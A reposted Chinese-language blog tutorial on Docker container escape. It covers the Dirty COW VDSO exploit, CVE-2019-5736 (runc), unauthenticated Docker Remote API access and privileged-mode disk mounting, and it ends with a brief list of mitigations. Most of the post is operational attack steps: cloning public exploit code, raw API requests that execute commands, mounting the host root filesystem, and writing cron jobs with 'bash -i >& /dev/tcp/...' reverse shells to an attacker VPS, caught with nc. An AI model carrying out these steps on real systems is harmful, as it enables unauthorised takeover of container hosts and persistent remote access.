docker逃逸的幾種方式


docker逃逸的幾種方法以及其原理

前言

這兩天想打個內網靶機,因為太大了還在下載,公司網也不快(淚目),因為涉及到域滲透方面,和一些接觸過的技術,現在先來提前預習一下做個准備

 

正文

 

獲取某個系統shell后發現其是docker,這時候我們就需要進行docker逃逸來拿到其真正宿主的權限。這里提供幾種思路。

 

  1. 利用dirty cow來進行docker逃逸
  2. cve-2019-5736
  3. docker配置不當

1.利用dirty cow來進行docker逃逸

1.前置知識

Linux中,有一個功能:VDSO(virtual dvnamic shared object),這是一個小型共享庫,能將內核自動映射到所有用戶程序的地址空間,可以理解成將內核中的函數映射到內存中,方便大家訪問。

VDSO其實就是將內核中的.so文件映射到內存,.so是基於Linux下的動態鏈接,其功能和作用類似與windows.dll文件。

2.利用dirty cow與VDSO來實現docker逃逸的過程

dirty cow漏洞可以讓我們獲取只讀內存的寫的權限,我們首先利用dirty cow漏洞寫入一段shellcodeVDSO映射的一段閑置內存中,然后改變函數的執行順序,使得調用正常的任意函數之前都要執行這段shellcode。這段shellcode初始化的時候會檢查是否是被root調用,如果是則繼續執行,如果不是,則接着執行clock_gettime函數,接下來它會檢測/tmp/.X文件的存在,如果存在,則這時已經是root權限了,然后它會打開一個反向的TCP鏈接,為Shellcode中填寫的ip返回一個Shell

這種利用方法利用成功的前提是,宿主機的內核有dirty cow漏洞。

3.利用過程

1.判斷是否為docker環境

ls -alh /.dockerenv
docker環境中根目錄下存在此文件

 

 

查看系統進程的cgroup信息
cat /proc/1/cgroup

 

 

2. 下載腳本(臟牛的)

 

git clone https://github.com/scumjr/dirtycow-vdso.git

cd /dirtycow-vdso/

make

 

 

3.利用腳本

./0xdeadbeef #反彈shell到本地主機

./0xdeadbeef ip:port #反彈shell到指定主機的指定端口

4.利用結果

我們直接反彈宿主機的shell127.0.0.1如圖所示

 

通過cve-2019-5736來達到docker逃逸

 

1.利用原理與條件

通過在docker容器內重寫和運行主機系統的runc二進制文件達到逃逸的目的。
利用條件為:

  1. runc版本<=1.0-rc6
  2. Docker Version < 18.09.2

2.漏洞觸發過程

首先我們得有一個docker下的shell,第二步修改利用腳本中的反彈shell命令,第三步使用go build來編譯腳本,第四步將腳本上傳到docker中,第五步等待宿主機執行exec進入當前docker容器等時候,宿主機就會向我們的vps反彈root權限的shell

3.具體操作

第一步:確定docker環境

  • ls -alh /.dockerenv
    docker環境中根目錄下存在此文件
  • 查看系統進程的cgroup信息
    cat /proc/1/cgroup

第二步:下載利用腳本並修改

git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

下圖中的選中部分修改\n后面的命令為反彈shell命令即可。

 

第三步:編譯腳本

go build main.go

 

第四步:將編譯好的main文件上傳到docker中

可以先上傳到github然后在dockershell中使用git clone命令即可,這里不做演示。

第五步:執行腳本並等待此docker再次被exec

docker exec -it test /bin/bash
如上命令的含義是進入test這個容器,當宿主機上執行exec命令來進入我們運行了腳本的容器的時候,宿主機就會反彈root權限的shell給我們的vps的監聽端口,至此利用結束。

4.此種方式利用的理解

這種方式利用的條件其實比較苛刻,主要苛刻在宿主機必須有人執行exec命令進入當前docker環境,如果沒有人在宿主機執行的話,是無法進行docker逃逸的。

配置不當導致docker逃逸

1.docket remote api未授權訪問導致逃逸

docker swarm是管理docker集群的工具。主從管理、默認通過2375端口通信。綁定了一個Docker Remote API的服務,可以通過HTTPPython、調用API來操作Docker。由於環境復雜,這里借用freebuf上的圖片。

確定docker remote api是否可訪問

直接在瀏覽器中輸入http://ip:2375/version

漏洞利用

1.訪問http://ip:2375/containers/json看是否出現以下畫面:

 

 

 

1.創建一個包,得到返回的exec_id的參數,數據包內容如下:

POST /containers/<container_id>/exec HTTP/1.1

Host: <docker_host>:PORT

Content-Type: application/json

Content-Length: 188

{

“AttachStdin”: true,

“AttachStdout”: true,

“AttachStderr”: true,

“Cmd”: [“cat”, “/etc/passwd”],

“DetachKeys”: “ctrl-p,ctrl-q”,

“Privileged”: true,

“Tty”: true

}

 

注意其中的cmd字段,這個就是要執行的命令。

1.得到exec_id參數后構造第二個exec_start數據包,內容如下:

POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{
“Detach”: false,
“Tty”: false
}

然后發送后會得到結果:

 

 

至此成功獲取到docker主機的命令執行權限,但是還無法逃逸到宿主機。

docker容器內安裝docker作為client

apt-get install docker.io

yum -y install docker

查看宿主機的docker image信息

docker -H tcp://宿主機ip:2375 images

啟動一個容器並且將宿主機的根目錄抓再到容器的某個目錄

docker -H tcp://宿主ip:2375 run -it -v /:/test adafef2e596e /bin/bash

上述命令的意思是將宿主機的根目錄掛在到容器adafef2e596e的/test目錄下

寫一個計划任務反彈shell(或者寫.ssh公鑰都OK)

echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root

vps上使用nc命令等待反彈過來的shell
nc -lvp 8888

 

利用特權模式逃逸

漏洞原理

使用特權模式啟動容器,可以獲取大量設備文件訪問權限。因為當管理員執行docker run —privileged時,Docker容器將被允許訪問主機上的所有設備,並可以執行mount命令進行掛載。

漏洞利用

  1. 查看磁盤文件
    fdisk -l

 

 

 

2./dev/vda1也就是磁盤掛在到本地的任意文件下

mkdir /nuoyan

mount /dev/vda1 /nuoyan

 

此時這個nuoyan文件夾就相當於對方主機的根目錄,可以進行寫文件操作。

3.寫入計划任務

 

echo '* * * * * bash -i >& /dev/tcp/vpsip/8888 0>&1' >> /nuoyan/var/spool/cron/root

4.vps上等待shell反連接
nc -lvp 8888

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆蓋CVE-2019-5736

2、runc版本 > 1.0-rc6

3、k8s 集群版本>1.12

4、Linux內核版本>=2.6.22——CVE-2016-5195(臟牛)

5、Linux內核版本>=4.14——CVE-2017–1000405(大臟牛),未找到docker逃逸利用過程,但存在逃逸風險

6、不建議以root權限運行Docker服務

7、不建議以privileged(特權模式)啟動Docker

8、不建議將宿主機目錄掛載至容器目錄

9、不建議將容器以—cap-add=SYSADMIN啟動,SYSADMIN意為container進程允許執行mount、umount等一系列系統管理操作,存在容器逃逸風險

_____________________________________________________-

正文處轉載於:https://blog.csdn.net/qq_41874930/article/details/109216506

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM